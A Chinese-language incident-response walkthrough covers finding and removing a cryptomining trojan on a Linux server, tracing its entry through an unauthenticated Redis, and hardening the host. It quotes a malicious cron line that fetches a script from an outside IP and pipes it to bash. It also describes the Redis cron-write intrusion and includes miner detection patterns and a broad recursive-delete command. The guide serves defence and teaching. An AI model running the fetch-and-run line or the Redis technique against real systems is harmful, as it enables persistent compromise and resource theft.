1. 项目概述:当服务器CPU突然“发烧”
最近处理了一起典型的服务器安全事件,一台线上业务服务器的CPU使用率在凌晨时段毫无征兆地飙升至100%,并且持续不退。登录系统一看,top命令下,一个陌生的进程kthreaddk赫然排在首位,吃掉了绝大部分的CPU资源。这几乎是挖矿木马(Cryptojacking Malware)最经典的“名片”——它们悄无声息地入侵,然后劫持你的计算资源,默默地为攻击者“挖矿”牟利。
对于运维、安全工程师甚至开发者来说,遇到这种情况,绝不能简单地kill进程了事。粗暴的终止操作往往治标不治本,木马很可能设置了守护进程、定时任务或系统服务,在你重启后“春风吹又生”。一次完整的应急响应(Incident Response),目标不仅是清除眼前的异常,更要追溯入侵源头、评估影响范围、修复安全漏洞,并建立防护措施,防止再次发生。
这篇手册,就是基于多次实战经验,梳理出的一套从“发现异常”到“根除加固”的完整操作流程。无论你是第一次面对这种状况的新手,还是想完善自己排查思路的老手,都可以按图索骥,一步步将潜伏在系统中的“矿工”彻底清理干净。
2. 应急响应核心思路与流程设计
应急响应不是无头苍蝇似的乱撞,而是一场有策略的“排雷”行动。核心思路可以概括为:“先控制,后分析;先止血,再根治;由现象,溯源头”。
2.1 响应阶段划分与核心目标
一次规范的应急响应通常分为几个阶段,每个阶段目标明确:
- 准备与检测阶段:平时就要准备好排查工具包(如
busybox静态编译版本、chkrootkit、rkhunter等),并建立监控告警(如CPU持续>90%超过5分钟)。本次事件正是通过监控告警触发的。 - 抑制与遏制阶段:这是最先要做的事。发现异常后,如果业务允许,应立即将受影响服务器从网络隔离(拔网线或防火墙阻断),防止木马横向移动或对外通信。如果业务关键,至少要在主机层面限制异常进程的资源(如用
cpulimit限制CPU使用率),为排查争取时间。 - 分析与溯源阶段:这是最核心的部分。我们需要回答几个关键问题:这是什么恶意程序?它怎么进来的?(入侵途径)它还做了什么?(影响范围)它有没有同伙?(关联进程、文件、网络连接)。
- 根除与恢复阶段:根据分析结果,制定清理方案。不仅要删除恶意文件,还要清除持久化机制(如crontab、systemd服务、启动项)。清理后,恢复业务并验证。
- 总结与加固阶段:事后必须复盘,撰写报告。更重要的是修复导致入侵的漏洞(如弱口令、未授权访问的Redis),调整安全策略,并可能部署HIDS(主机入侵检测系统)等更高级的防护。
2.2 为什么不能直接kill进程?
很多人的第一反应是找到高CPU进程然后kill -9。这非常危险,原因有三:
- 可能误杀:高CPU进程不一定都是恶意的,也可能是正常的业务进程突发异常。
- 打草惊蛇:一些高级木马有“看门狗”机制,主进程被杀死后,守护进程会立即重新拉起来,或者触发更隐蔽的后门。
- 丢失线索:运行中的进程在内存中,其打开的文件、网络连接、子进程关系都是宝贵的分析线索。直接杀掉,这些信息就丢失了。
正确的做法是:先观察、记录、分析,再清理。我们的排查路径,正是遵循这个原则,像侦探一样层层剥茧。
3. 从CPU飙升开始的层层排查
当接到CPU告警后,我们需要一套由表及里、由浅入深的排查命令组合拳。以下操作,建议在隔离环境或做好记录的情况下进行。
3.1 初步定位:谁在消耗CPU?
首先,我们需要快速定位罪魁祸首。
# 1. 经典top命令,按CPU排序(进入后按P) top # 2. 更直观的htop(如果已安装) htop # 3. 使用ps命令快速查看高CPU进程 ps aux --sort=-%cpu | head -20在top中,我们发现了名为kthreaddk的进程,PID为7853,CPU占用98.6%。这个名字明显在模仿系统内核线程kthreadd,企图鱼目混珠。
注意:挖矿木马进程名常常具有欺骗性,例如
kthreadd、kworker、mysqls、nginxs等,与系统或常见业务进程仅一字之差。需要仔细辨认。
3.2 深入分析:进程的详细画像
找到可疑进程后,不要急着杀,先把它查个底朝天。
# 1. 查看进程的详细信息,包括启动路径 # 通过/proc文件系统查看 ls -la /proc/7853/exe # 查看进程实际执行文件路径 cat /proc/7853/cmdline # 查看启动命令,可能被混淆 cat /proc/7853/environ # 查看进程环境变量,有时会有C2地址 # 2. 查看进程打开的文件和网络连接 lsof -p 7853 # 重点关注:它打开了哪些文件(配置文件、日志、矿池地址文件)?监听了什么端口?连接了哪个外部IP? # 3. 查看网络连接,定位C2服务器或矿池 netstat -antp | grep 7853 # 或使用ss命令 ss -antp | grep 7853 # 如果发现对陌生IP(尤其是海外IP)的持续TCP连接,极可能是矿池地址。通过ls -la /proc/7853/exe,我们发现这个进程的实际执行文件是/tmp/.X11-unix/.rsync/kthreaddk。路径藏得很深,在/tmp下的隐藏目录中,这是木马的常见藏身地。
通过netstat,我们发现该进程正与一个IP45.9.148[.]189的3333端口保持长连接。通过威胁情报平台(如微步在线、VirusTotal)查询,该IP被标记为门罗币(XMR)矿池地址,这坐实了挖矿行为。
3.3 关联排查:寻找同伙与持久化痕迹
一个成熟的挖矿木马很少单兵作战。我们需要排查它可能留下的“后手”。
# 1. 查看可疑进程的父进程及子进程树 pstree -aps 7853 # 看看是谁启动了它,它又启动了谁。可能发现通过bash脚本或下载器启动。 # 2. 排查常见的持久化位置 # a) 定时任务 - 攻击者最常用的复活手段 crontab -l # 当前用户 cat /etc/crontab # 系统级 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ ... # 查看所有cron目录 # 特别注意里面是否有下载执行sh脚本的命令,如 curl ... | bash # b) 系统服务 systemctl list-unit-files --type=service | grep enabled # 检查是否有陌生的服务。重点关注名称像系统服务但实为恶意的。 ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -E '(kthread|mine|pool|\.service)' # c) 启动项 ls -la /etc/rc.local /etc/rc.d/rc.local # 老式系统 ls -la /etc/init.d/ # SysV init # d) 用户配置文件 检查 ~/.bashrc, ~/.bash_profile, ~/.profile,看是否有恶意命令在登录时执行。 # 3. 查找近期被修改的可执行文件或脚本 find / -type f -name "*.sh" -o -name "*kthread*" -o -name "*mine*" -mtime -7 2>/dev/null | head -20 find /tmp /var/tmp -type f -mtime -2 2>/dev/null # 重点查临时目录在这次案例中,我们在/etc/cron.d/目录下发现了一个名为syslog的文件(又是伪装),内容如下:
*/10 * * * * root curl -s http://45.9.148[.]189/logo3.jpg | bash > /dev/null 2>&1这证实了攻击者通过定时任务每10分钟尝试从C2服务器拉取脚本执行,用于更新木马或确保进程存活。
3.4 影响评估:它还在哪里动了手脚?
挖矿木马除了消耗CPU,还可能进行其他恶意操作。
# 1. 检查是否有SSH后门 检查 ~/.ssh/authorized_keys 文件,看是否被添加了攻击者的公钥。 检查 /etc/ssh/sshd_config 是否被修改。 # 2. 检查内核模块 lsmod | grep -E '(hp|hid|snd|lib)' # 一些rootkit会加载恶意内核模块 find /lib/modules -name "*.ko" -mtime -7 2>/dev/null # 3. 检查账户 cat /etc/passwd | grep -E “/bin/bash|/bin/sh” # 查看所有可登录用户 last # 查看登录历史,有无异常IP经过检查,本次事件未发现SSH后门和新增用户,主要影响是资源耗尽和潜在的定时任务后门。
4. 清理与加固:彻底铲除并亡羊补牢
分析清楚后,就可以开始安全地清理了。顺序很重要:先清除持久化机制,再停止进程,最后删除文件。
4.1 步骤一:清除持久化项目
这是防止“死灰复燃”的关键。
# 1. 删除恶意定时任务 rm -f /etc/cron.d/syslog # 删除我们发现的恶意cron文件 # 再次全面检查一遍所有cron目录,确保没有遗漏 find /etc/cron* -type f -exec grep -l "45.9.148" {} \; 2>/dev/null # 2. 如果发现了恶意系统服务,停止并禁用 systemctl stop malicious-service-name systemctl disable malicious-service-name rm -f /etc/systemd/system/malicious-service-name.service systemctl daemon-reload # 3. 清理启动项和配置文件 # 检查并清理 /etc/rc.local, ~/.bashrc 等文件中添加的恶意命令4.2 步骤二:终止恶意进程
现在可以干掉进程了。
# 1. 先尝试正常终止 kill 7853 # 等待几秒,用top或ps检查是否还在 # 2. 如果还在,强制终止 kill -9 7853 # 3. 检查是否有子进程或关联进程也被启动,一并终止 # 根据之前pstree的结果来操作4.3 步骤三:删除恶意文件
进程终止后,删除其相关文件。
# 1. 删除进程本体文件 rm -rf /tmp/.X11-unix/.rsync/ # 删除整个隐藏目录 # 2. 查找并删除可能的其他组件(如下载器、配置文件) find / -name "*kthreaddk*" -o -name "*xmrig*" -o -name "*miner*" 2>/dev/null | xargs rm -rf # 注意:find的删除操作要非常谨慎,最好先echo列出确认,再执行删除。 # 3. 清理可能残留的日志或临时文件4.4 步骤四:修复入侵途径
清理完成后,必须找到漏洞点,否则很快又会被入侵。
- 检查漏洞:回顾服务器近期变更。常见入口有:
- 弱口令爆破:检查
/var/log/secure或/var/log/auth.log,看是否有大量失败登录尝试。 - 未授权访问服务:如Redis、Docker API、Hadoop YARN等对外开放且无认证。
- 应用漏洞:如Web应用的RCE漏洞(ThinkPHP, Log4j等)。
- 恶意软件包:通过pip、npm、docker pull等引入的带矿机代码的包。
- 弱口令爆破:检查
- 本次案例溯源:我们检查了Redis日志,发现大量来自外网的
CONFIG SET dir和SET命令,这是典型的利用未授权Redis写入定时任务的入侵手法。原因是运维在测试时,将Redis绑定在了0.0.0.0且未设置密码。
加固措施:
- 立即为Redis设置强密码,并修改
redis.conf:bind 127.0.0.1,requirepass YourStrongPassword。 - 修改所有系统的弱口令,启用密钥登录,禁用root远程登录。
- 更新系统和应用软件到最新版本,修复已知漏洞。
- 配置防火墙(如iptables, firewalld),最小化开放端口。
- 考虑部署文件完整性监控(如AIDE)或主机入侵检测系统(HIDS),以便下次能更快发现异常。
5. 常见问题与高级排查技巧
在实际响应中,情况可能更复杂。下面是一些进阶问题和应对技巧。
5.1 进程隐藏怎么办?—— 使用未受污染的工具
高级的Rootkit会Hook系统调用,让ps、top、netstat等命令也看不到它们。这时需要使用静态编译的、不受宿主系统库影响的工具。
# 从干净的机器上下载静态编译的busybox,上传到受害服务器 chmod +x busybox ./busybox ps ./busybox netstat # 或者使用`/proc`文件系统直接查看 ls -la /proc/[0-9]*/exe | grep deleted # 查找已被删除但进程还在的文件(无磁盘文件)5.2 文件被删除怎么办?—— 内存取证与网络流量分析
如果恶意进程文件在运行后被删除,磁盘上就找不到了。但进程还在内存中。
- 内存取证:可以使用
gcore命令对可疑进程生成核心转储文件,然后用strings或Volatility等工具分析内存镜像,提取恶意代码片段。gcore -o malcore 7853 strings malcore.7853 | grep -A5 -B5 "pool" - 网络流量分析:如果服务器上有
tcpdump,可以抓包分析通信内容。挖矿协议(如Stratum)的流量特征比较明显。
5.3 排查脚本化与自动化
对于拥有大量服务器的环境,手动排查不现实。可以编写一个轻量化的排查脚本,在发现异常时快速分发执行,收集信息。
#!/bin/bash # quick_check.sh - 快速安全排查脚本 echo "=== 高CPU进程 Top10 ===" ps aux --sort=-%cpu | head -11 echo "" echo "=== 可疑网络连接 ===" netstat -antp | grep -E ‘(45\.9\.148\.189|:3333|:5555|:6666|:9999)‘ echo "" echo "=== 可疑定时任务 ===" find /etc/cron* -type f -exec ls -la {} \; find /etc/cron* -type f -exec cat {} \; 2>/dev/null | grep -v "^#" echo "" echo "=== /tmp目录可疑文件 ===" ls -la /tmp/ /var/tmp/ 2>/dev/null | grep -E “^d|\.(sh|py|elf)$”实操心得:脚本不要在生产环境直接
curl | bash运行,避免被中间人攻击或本身就被篡改。应先下载到本地审计,再用安全渠道上传到目标服务器执行。
5.4 挖矿木马家族识别与特征
了解常见家族有助于快速判断:
- XMRig:最流行的门罗币挖矿程序。特征进程名可能为
xmrig,或伪装成syslog、kthreadd。连接矿池端口常为3333、5555、7777等。 - SystemdMiner:利用Systemd服务持久化。会创建
systemd-login.service之类的恶意服务。 - Redis未授权访问利用脚本:通常通过写入
/var/spool/cron/root或/etc/cron.d/进行持久化,下载的shell脚本通常来自pastebin或攻击者自己的HTTP服务器。 - Docker容器逃逸挖矿:因容器配置不当(特权模式、挂载宿主机目录)导致,恶意进程会在宿主机上运行。
排查清单速查表:
| 排查项 | 命令/路径 | 寻找什么 |
|---|---|---|
| CPU占用 | top,htop,ps aux --sort=-%cpu | 陌生、高CPU、模仿系统名的进程 |
| 进程详情 | ls -la /proc/<PID>/exe,cat /proc/<PID>/cmdline | 进程的真实路径、启动参数 |
| 网络连接 | netstat -antp,ss -antp,lsof -p <PID> | 连接陌生IP(矿池)、长时间连接 |
| 持久化-定时任务 | crontab -l,/etc/crontab,/etc/cron.d/,/var/spool/cron/ | 包含`curl |
| 持久化-系统服务 | systemctl list-unit-files,/etc/systemd/system/,/usr/lib/systemd/system/ | 陌生、伪装的服务文件 |
| 持久化-启动项 | /etc/rc.local,/etc/init.d/,~/.bashrc | 添加了恶意启动命令 |
| 文件系统 | find /tmp /var/tmp -type f -mtime -2,find / -name “*xmrig*” | 临时目录下的可疑脚本、二进制文件 |
| 账户与日志 | last,cat /etc/passwd,grep “Failed password” /var/log/secure | 异常登录IP、新增用户、爆破痕迹 |
处理完这次事件,我最大的体会是:安全是一个持续的过程,而非一次性的动作。应急响应是“救火”,但真正的价值在于“防火”。通过这次挖矿事件,我们不仅清理了木马,更重要的是推动了全公司Redis实例的安全配置整改,并上线了基于主机的异常进程监控。对于运维人员来说,保持对系统资源的常态化监控(不仅仅是CPU,还有异常端口、未知进程),对公网服务实行最小化暴露原则,定期进行安全扫描和漏洞修复,这些日常“琐事”才是抵御此类自动化攻击最坚实的盾牌。下次再看到CPU飙升,你就能从容地按照这套“隔离-分析-清理-溯源-加固”的组合拳,快速解决问题了。